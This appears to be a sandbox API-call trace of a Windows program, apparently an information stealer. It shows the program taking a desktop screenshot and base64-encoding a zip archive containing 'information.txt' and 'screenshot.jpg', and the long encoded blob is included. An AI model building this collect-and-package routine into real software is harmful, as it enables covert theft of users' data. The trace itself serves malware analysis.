[0055.745] StrCmpCA (pszStr1=".jpg", pszStr2=".tgz") returned -10
[0055.745] GetLocalTime (in: lpSystemTime=0x19a44c | out: lpSystemTime=0x19a44c*(wYear=0x7e7, wMonth=0x4, wDayOfWeek=0x4, wDay=0xd, wHour=0x10, wMinute=0x10, wSecond=0x5, wMilliseconds=0x9a))
[0055.745] SystemTimeToFileTime (in: lpSystemTime=0x19a44c, lpFileTime=0x19a444 | out: lpFileTime=0x19a444) returned 1
[0055.745] FileTimeToSystemTime (in: lpFileTime=0x19a43c, lpSystemTime=0x19a45c | out: lpSystemTime=0x19a45c) returned 1
[0055.745] lstrcpyA (in: lpString1=0x19a4e0, lpString2="" | out: lpString1="") returned=""
[0055.745] lstrcpyA (in: lpString1=0x19a5f0, lpString2="/screenshot.jpg" | out: lpString1="/screenshot.jpg") returned="/screenshot.jpg"
[0055.746] lstrlenA (lpString="/screenshot.jpg") returned 15
[0055.746] lstrcpyA (in: lpString1=0x19a6f4, lpString2="" | out: lpString1="") returned=""
[0055.746] GetDesktopWindow () returned 0x10010
[0055.746] GetTickCount () returned 0x14e0ad4
[0055.746] GetLastError () returned 0x0
[0055.746] SetLastError (dwErrCode=0x0)
[0055.746] GetLastError () returned 0x0
[0055.746] SetLastError (dwErrCode=0x0)
[0055.746] GetLastError () returned 0x0
[0055.746] SetLastError (dwErrCode=0x0)
[0055.746] GetLastError () returned 0x0
[0055.746] SetLastError (dwErrCode=0x0)
[0055.746] GetLastError () returned 0x0
[0055.746] SetLastError (dwErrCode=0x0)
[0055.746] GetLastError () returned 0x0
[0055.746] SetLastError (dwErrCode=0x0)
[0055.746] GetLastError () returned 0x0
[0055.746] SetLastError (dwErrCode=0x0)
[0055.746] GetLastError () returned 0x0
[0055.746] SetLastError (dwErrCode=0x0)
[0055.746] GetLastError () returned 0x0
[0055.746] SetLastError (dwErrCode=0x0)
[0055.746] GetLastError () returned 0x0
[0055.747] SetLastError (dwErrCode=0x0)
[0055.747] GetLastError () returned 0x0
[0055.747] SetLastError (dwErrCode=0x0)
[0055.747] GetLastError () returned 0x0
[0055.747] SetLastError (dwErrCode=0x0)
[0055.747] GetLastError () returned 0x0
[0055.747] SetLastError (dwErrCode=0x0)
[0055.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x9) returned 0xe056888
[0055.755] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x360) returned 0xe056948
[0055.755] SelectObject (hdc=0x37010976, h=0x185000f) returned 0xd705053c
[0055.755] GdipDisposeImage (image=0xe501f08) returned 0x0
[0055.779] GdiplusShutdown (token=0x14e0900)
[0055.787] DeleteObject (ho=0xd705053c) returned 1
[0055.788] DeleteObject (ho=0x37010976) returned 1
[0055.788] ReleaseDC (hWnd=0x10010, hDC=0xc0108ec) returned 1
[0055.789] CloseWindow (hWnd=0x10010) returned 1
[0055.789] Sleep (dwMilliseconds=0x1)
[0055.805] Sleep (dwMilliseconds=0x3)
[0055.822] Sleep (dwMilliseconds=0x3)
[0055.837] Sleep (dwMilliseconds=0x7)
[0055.853] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671128 | out: hHeap=0x670000) returned 1
[0055.854] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67ec40 | out: hHeap=0x670000) returned 1
[0055.854] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe056888 | out: hHeap=0x670000) returned 1
[0055.854] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe056948 | out: hHeap=0x670000) returned 1
[0055.854] Sleep (dwMilliseconds=0x1)
[0055.870] Sleep (dwMilliseconds=0x3)
[0055.883] Sleep (dwMilliseconds=0x3)
[0055.899] Sleep (dwMilliseconds=0x7)
[0055.917] CryptBinaryToStringA (in: pbBinary=0x2a80000, cbBinary=0x1375b, dwFlags=0x40000001, pszString=0x0, pcchString=0x19aa28 | out: pszString=0x0, pcchString=0x19aa28) returned 1
[0055.918] GetProcessHeap () returned 0x680000
[0055.918] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x19f25) returned 0xf2c46c0
[0055.920] CryptBinaryToStringA (in: pbBinary=0x2a80000, cbBinary=0x1375b, dwFlags=0x40000001, pszString=0xf2c46c0, pcchString=0x19aa28 | out: pszString="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